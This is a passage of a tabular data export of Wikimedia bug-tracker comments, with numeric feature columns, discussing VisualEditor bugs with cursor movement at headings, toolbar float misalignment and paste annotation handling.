https://gerrit.wikimedia.org/r/70864",,,1372368223,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,1.0,"Change 70864 merged by jenkins-bot:
Don't advance cursor when adding new line at start of node

GERRIT_URL"
216320,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","Change 70918 merged by jenkins-bot:
If cursor is obscured by toolbar, on keypress scroll to cursor.

https://gerrit.wikimedia.org/r/70918",,,1372368220,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,21.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.041666666666667,0.9166666666666666,"Change 70918 merged by jenkins-bot:
If cursor is obscured by toolbar, on keypress scroll to cursor.

GERRIT_URL"
216315,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","Change 70918 had a related patch set uploaded by Robmoen:
If cursor is obscured by toolbar, on keypress scroll to cursor.

https://gerrit.wikimedia.org/r/70918",,,1372366669,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,19.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,0.9259259259259259,"Change 70918 had a related patch set uploaded by Robmoen:
If cursor is obscured by toolbar, on keypress scroll to cursor.

GERRIT_URL"
216310,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","Change 70864 had a related patch set uploaded by Robmoen:
Don't advance cursor when adding new line at start of node

https://gerrit.wikimedia.org/r/70864",,,1372359928,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,15.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.1923076923076925,1.0,"Change 70864 had a related patch set uploaded by Robmoen:
Don't advance cursor when adding new line at start of node

GERRIT_URL"
216303,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","(In reply to comment #5)
> Sounds good, though I note it's different than e.g. pressing Enter at the
> start of the first of a set of bullet points, which adds another bullet rather
> than a plain paragraph. A foolish consistency is the Hobnobs of little minds :)

Yeah, I've been wondering whether to make these consistent for a little bit.",,,1371520609,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,3.0,16.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.3548387096774195,0.8387096774193549,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

Yeah, I've been wondering whether to make these consistent for a little bit."
216297,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","(In reply to comment #4)
> (In reply to comment #3)
> > * If you press Enter with the caret at start of heading, you get a plain
> > paragraph before (maybe OK but not what I'd expect and not how most WYSIWYG
> > editors work)
> 
> This is intentional - if you have header 1\nheader 2\nheader 3\n and click
> before header 3 and press return, you should be able to type content
> (paragraph) by default.

Sounds good, though I note it's different than e.g. pressing Enter at the start of the first of a set of bullet points, which adds another bullet rather than a plain paragraph. A foolish consistency is the Hobnobs of little minds :)",,,1371520249,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,1.0,20.0,1.0,0.0,11.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,3.0,14.0,11.0,0.0,0.0,0.0,3.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,3.676056338028169,0.676056338028169,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Sounds good, though I note it's different than e.g. pressing Enter at the start of the first of a set of bullet points, which adds another bullet rather than a plain paragraph. A foolish consistency is the Hobnobs of little minds :)"
216294,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","(In reply to comment #3)
> These days the behavior on mediwiki.org (with Firefox 21.0 Ubuntu 13.04) is
> different and a little better.
> * If you press Enter with the caret at start of heading, you get a plain
> paragraph before (maybe OK but not what I'd expect and not how most WYSIWYG
> editors work)

This is intentional - if you have header 1\nheader 2\nheader 3\n and click before header 3 and press return, you should be able to type content (paragraph) by default. WYSIWYG editors often get this wrong, thinking that context is the most important thing, because they don't know what style ""normal"" content is. We do, and so we should do this right. (Also, VE isn't intending to be a WYSIWYG editor, just a visual one that is more and WYSIWYM editor at times.)

> * The caret moves between the first and second character of the heading
> (definitely wrong).

Yeah, sorry about that; we should get that fixed soon.",,,1371504819,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,1.5,4.5,2.0,0.5,0.0,0.5,0.5,1.5,0.0,0.0,0.0,2.0,0.0,6.0,6.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,0.5,14.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,1.5,0.0,0.0,0.0,0.5,0.5,2.0,4.5,10.0,1.5,2.5,5.0,0.0,0.0,0.0,0.5,5.5,0.0,2.0,0.0,4.0,6.0,3.5,0.0,1.5,0.0,4.0,0.0,1.5,1.5,0.0,1.0,0.5,0.5,0.0,3.5959079283887467,0.715153452685422,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is intentional - if you have header 1\nheader 2\nheader 3\n and click before header 3 and press return, you should be able to type content (paragraph) by default. WYSIWYG editors often get this wrong, thinking that context is the most important thing, because they don't know what style ""normal"" content is. We do, and so we should do this right. (Also, VE isn't intending to be a WYSIWYG editor, just a visual one that is more and WYSIWYM editor at times.)

QUOTE
QUOTE

Yeah, sorry about that; we should get that fixed soon."
216292,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","These days the behavior on mediwiki.org (with Firefox 21.0 Ubuntu 13.04) is different and a little better.
* If you press Enter with the caret at start of heading, you get a plain paragraph before (maybe OK but not what I'd expect and not how most WYSIWYG editors work)
* The caret moves between the first and second character of the heading (definitely wrong).
But the document doesn't get out of order, your typing always appears at the caret, and what you see is what is saved. Progress!",,,1371501393,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,1.0,2.0,6.5,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,5.5,7.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,7.5,1.5,0.0,0.0,3.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,10.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.5,2.5,7.5,1.0,4.5,7.0,0.0,0.0,1.0,0.0,1.5,0.5,1.0,0.0,3.5,7.5,2.0,0.0,0.0,0.0,3.5,0.0,3.0,1.0,0.0,0.5,0.5,0.5,0.5,3.830188679245283,0.8207547169811321,"These days the behavior on mediwiki.org (with Firefox 21.0 Ubuntu 13.04) is different and a little better.
* If you press Enter with the caret at start of heading, you get a plain paragraph before (maybe OK but not what I'd expect and not how most WYSIWYG editors work)
* The caret moves between the first and second character of the heading (definitely wrong).
But the document doesn't get out of order, your typing always appears at the caret, and what you see is what is saved. Progress!"
216290,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","**brassratgirl** wrote:

I'm getting a similar bug while trying to edit a userpage subpage, with the addition that it's blanking out the existing text. See https://en.wikipedia.org/wiki/User:Phoebe/chopo

1) edit existing text, all is fine. 
2) move cursor below existing paragraph, attempt to type new heading
3) cursor jumps to above existing paragraph, types up there
4) this results in uneditable blank spaces 
5) and, on save, all text below blank spaces is gone. 

My conclusion is that editing user pages is, for whatever reason, totally haywire. I have screenshots if needed. 

Firefox 20.0 on Ubuntu 12.04",,,1369610854,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,1,False,,,-6,,1.5,0.0,1.0,1.0,0.0,4.5,1.5,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,2.0,0.0,2.5,10.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.5,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.5,0.0,0.0,15.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,4.5,2.5,1.0,5.0,0.0,0.0,0.0,0.0,1.5,0.0,4.0,0.0,2.5,10.5,2.5,0.0,0.0,0.0,2.5,0.0,1.0,1.0,0.0,4.5,0.0,0.0,0.5,3.75,0.7578125,"**brassratgirl** wrote:

I'm getting a similar bug while trying to edit a userpage subpage, with the addition that it's blanking out the existing text. See URL

1) edit existing text, all is fine. 
2) move cursor below existing paragraph, attempt to type new heading
3) cursor jumps to above existing paragraph, types up there
4) this results in uneditable blank spaces 
5) and, on save, all text below blank spaces is gone. 

My conclusion is that editing user pages is, for whatever reason, totally haywire. I have screenshots if needed. 

Firefox 20.0 on Ubuntu 12.04"
216287,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","In Chromium (25.0.1364.160 Ubuntu 13.04) not logged in, the same step 3 adds blank line above (not styled as a heading) and moves the caret to the second character in the existing heading.",,,1369264433,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,8.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.0,0.7948717948717948,"In Chromium (25.0.1364.160 Ubuntu 13.04) not logged in, the same step 3 adds blank line above (not styled as a heading) and moves the caret to the second character in the existing heading."
50734,VisualEditor: Toolbar should clear float to avoid misalignment by extra elements,"On wikis where certain ""topicons"" are moved out of the mw-content-text wrapper into the root of #content the VisualEditor toolbar shows a weird blank space.

The icons in question are invisible due to float overlap, but they do push down the toolbar and occupying space to the right of the ""Save and review"" button thus pushing it and the rest of ve-ui-toolbar-actions to the left.

To reproduce this situation, run the following one or more times:

    $('#content').prepend(
        '<div class=""mw-topicon"" style=""display: block; width: 20px; height: 20px; background: pink; float: right; margin-left: 3px;"">x</div>'
    );

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1369263840,1369300408.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-nmn7dlmg7l34754u4bwb,task_description,resolved,True,c1,1,True,False,True,-6,,0.0,0.0,0.0,0.5,0.0,5.5,0.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,3.0,0.0,0.5,0.0,0.0,0.0,19.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,4.0,0.5,2.5,6.5,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,1.0,7.0,3.5,0.0,4.5,0.0,1.0,0.0,0.5,0.5,0.0,1.5,0.5,0.0,0.5,3.80108024691358,0.664429012345679,"On wikis where certain ""topicons"" are moved out of the mw-content-text wrapper into the root of #content the VisualEditor toolbar shows a weird blank space.

The icons in question are invisible due to float overlap, but they do push down the toolbar and occupying space to the right of the ""Save and review"" button thus pushing it and the rest of ve-ui-toolbar-actions to the left.

To reproduce this situation, run the following one or more times:

    $('#content').prepend(
        '<div class=""mw-topicon"" style=""display: block; width: 20px; height: 20px; background: pink; float: right; margin-left: 3px;"">x</div>'
    );

--------------------------
**Version**: unspecified
**Severity**: normal"
216252,VisualEditor: Toolbar should clear float to avoid misalignment by extra elements,Related URL: https://gerrit.wikimedia.org/r/64989 (Gerrit Change Ic5f73ac1eb8c41b891dd1c67b71795cb6c456141),,,1369264080,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nmn7dlmg7l34754u4bwb,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ic5f73ac1eb8c41b891dd1c67b71795cb6c456141)
216247,VisualEditor: Toolbar should clear float to avoid misalignment by extra elements,"Created attachment 12375
What it looks like with clear:both patch applied

The icons become visible again and the actions toolbar (right hand side of the toolbar) is no longer pushed to the left but flush to the right again.

**Attached**: {F10554}",,,1369264016,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nmn7dlmg7l34754u4bwb,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,9.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.767857142857143,0.7857142857142857,"Created attachment 12375
What it looks like with clear:both patch applied

The icons become visible again and the actions toolbar (right hand side of the toolbar) is no longer pushed to the left but flush to the right again.

**Attached**: {F10554}"
216241,VisualEditor: Toolbar should clear float to avoid misalignment by extra elements,"Created attachment 12374
Current misalignment when there are extra elements in #content

Such as the case currently on https://de.wikipedia.org/wiki/Berlin

**Attached**: {F10553}",,,1369263963,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nmn7dlmg7l34754u4bwb,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,19.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.03125,0.875,"Created attachment 12374
Current misalignment when there are extra elements in #content

Such as the case currently on URL

**Attached**: {F10553}"
216239,VisualEditor: Toolbar should clear float to avoid misalignment by extra elements,"Created attachment 12373
What the toolbar usually looks like

Note absence of space between the Vector tabs and the toolbar, and the Save button is flush to the right.

**Attached**: {F10552}",,,1369263925,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nmn7dlmg7l34754u4bwb,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,16.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.813953488372093,0.7674418604651163,"Created attachment 12373
What the toolbar usually looks like

Note absence of space between the Vector tabs and the toolbar, and the Save button is flush to the right.

**Attached**: {F10552}"
50720,VisualEditor: Paste of content does not use the context's annotation,"If you have some text with an annotation (e.g. bold, italics or a link) and copy in some text, the annotation is closed off, the text is insert as plain text, and then the annotation is restarted.

I think users will expect ""paste as current style"" over ""paste as plain text"".

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1369247880,1491408734.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-ezht24x5cf4eytaekvqk,task_description,resolved,True,c1,1,True,False,False,-6,,2.0,0.0,0.0,2.0,0.0,7.0,1.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,4.0,5.0,1.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.707317073170732,0.5975609756097561,"If you have some text with an annotation (e.g. bold, italics or a link) and copy in some text, the annotation is closed off, the text is insert as plain text, and then the annotation is restarted.

I think users will expect ""paste as current style"" over ""paste as plain text"".

--------------------------
**Version**: unspecified
**Severity**: enhancement"
837324,VisualEditor: Paste of content does not use the context's annotation,"This seems to work as expected these days. I just tried pasting various annotated things into various other things, and everything behaves fine, with the annotations being merged. 

https://en.wikipedia.org/w/index.php?title=User:Matma_Rex/sandbox&diff=773983701&oldid=773982287
{F7268038}

(Although in the meantime I discovered we're //too// good at this, merging some annotations that don't make sense, see {T162278}.)",,,1491408734,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,3,True,,,196,,1.0,1.0,0.0,1.0,1.0,12.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,4.0,0.0,3.0,10.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,3.0,1.0,10.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,10.0,3.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,4.132352941176471,0.8088235294117647,"This seems to work as expected these days. I just tried pasting various annotated things into various other things, and everything behaves fine, with the annotations being merged. 

URL
{F7268038}

(Although in the meantime I discovered we're //too// good at this, merging some annotations that don't make sense, see {T162278}.)"
634239,VisualEditor: Paste of content does not use the context's annotation,"I definitely expect that text pasted into the middle of a link will still be part of the link.  `[[Link|Li]]HardToType[[Link|nk]]` is never what I want, and if you end up with that, it's hard to repair (unlike a missing or extra bit of bold text).  Since the {T130735} in Safari, then ""just (magically know about and remember to) use plain-paste"" isn't a viable solution.",,,1458752469,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,3,False,,,142,,0.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,8.0,17.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,4.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,10.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,17.0,4.0,0.0,2.0,0.0,5.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,3.3095238095238093,0.75,"I definitely expect that text pasted into the middle of a link will still be part of the link.  CODE is never what I want, and if you end up with that, it's hard to repair (unlike a missing or extra bit of bold text).  Since the {T130735} in Safari, then ""just (magically know about and remember to) use plain-paste"" isn't a viable solution."
215349,VisualEditor: Paste of content does not use the context's annotation,*** Bug 69653 has been marked as a duplicate of this bug. ***,,,1408272633,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,3,True,,,58,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 69653 has been marked as a duplicate of this bug. ***
215342,VisualEditor: Paste of content does not use the context's annotation,Normal paste (rich paste) should preserve the formatting of the pasted content (even if that means plain). Plain text paste should take the formatting of the target.,,,1381156824,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,3.0,0.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.212121212121212,0.6666666666666666,Normal paste (rich paste) should preserve the formatting of the pasted content (even if that means plain). Plain text paste should take the formatting of the target.
